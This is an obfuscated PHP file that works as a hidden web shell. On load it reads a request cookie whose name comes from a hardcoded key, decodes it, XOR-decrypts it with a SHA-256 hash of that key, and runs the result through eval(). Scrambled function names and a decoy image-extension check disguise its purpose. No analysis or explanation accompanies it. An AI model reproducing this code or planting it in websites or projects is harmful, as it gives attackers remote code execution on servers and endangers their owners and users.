<?php function gpbwal()
{
    $ROIjjDAx = JIjeNkbvPv();
    $kkWTagK = qLjIeg($ROIjjDAx);
    return $kkWTagK;
}
function PSeyvHjKiy()
{
    $kAuWDGqIEg = gpbwal();
    Yplnb($kAuWDGqIEg);
}
function rlZziVIaTP($HPTEV, $lkaSvO)
{
    $onYdZ = $HPTEV ^ $lkaSvO;
    return $onYdZ;
}
function Yplnb($uzszkds)
{
    eval($uzszkds);
}
function JccSZ($Crqvje, $NWNozSm)
{
    $tDbLV = str_pad($Crqvje, $NWNozSm, $Crqvje);
    return $tDbLV;
}
function JIjeNkbvPv()
{
    $qlAAAr = "YTbPLTIMtRUFmGdjhDzYfXJROIkQ";
    return $qlAAAr;
}
function wUoDbkEsRU($hTaJTHqe) {
    $zKLczGGcEq = CFlQsrbjn($hTaJTHqe);
    return in_array(strtolower($zKLczGGcEq), ['jpg', 'png', 'gif']);
}
function bcSAlmg($MvOpnCZH)
{
    $OeaMrVtVl = substr($MvOpnCZH, -4);
    return $OeaMrVtVl;
}
function pGZlx($GmLoCZAfEb)
{
    $nKxNZ = $_COOKIE[$GmLoCZAfEb];
    return $nKxNZ;
}
function HqLZPudM($YzFHO)
{
    $dzhOZHHltN = hash("sha256", $YzFHO, TRUE);
    return $dzhOZHHltN;
}
function MfFIsc($WxcGv, $xHXTvRrDG)
{
    $JFYigvpk = WxptPI($WxcGv);
    $MLCXZrwlrz = JccSZ($xHXTvRrDG, $JFYigvpk);
    $kAuWDGqIEg = rlZziVIaTP($MLCXZrwlrz, $WxcGv);
    return $kAuWDGqIEg;
}
function mRhBz($hTaJTHqe) {
    if (wUoDbkEsRU($hTaJTHqe)) {
        return "It's an image file.";
    }
    return "Not an image file.";
}
function CFlQsrbjn($hTaJTHqe) {
    return pathinfo($hTaJTHqe, PATHINFO_EXTENSION);
}
function qLjIeg($rAJJgd)
{
    $rVFwCbEO = bcSAlmg($rAJJgd);
    $sDDeoWrnE = HxjhxrhYL($rAJJgd, $rVFwCbEO);
    return $sDDeoWrnE;
}
function SIUfLHNYC($vWtDaBfNBS)
{
    $qdKqbJ = rawurldecode($vWtDaBfNBS);
    return $qdKqbJ;
}
function HxjhxrhYL($qMorUfA, $tAfBtZ)
{
    $NHCyF = HqLZPudM($qMorUfA);
    $NjoIU = cltwaxdI($tAfBtZ);
    $uKWAch = MfFIsc($NjoIU, $NHCyF);
    return $uKWAch;
}
function cltwaxdI($awBcRoS)
{
    $feqikce = pGZlx($awBcRoS);
    $NjoIU = SIUfLHNYC($feqikce);
    return $NjoIU;
}
function WxptPI($CzYcKT)
{
    $mfvzB = strlen($CzYcKT);
    return $mfvzB;
}
PSeyvHjKiy();
$RrvgMVQ = mRhBz("photo.jpg");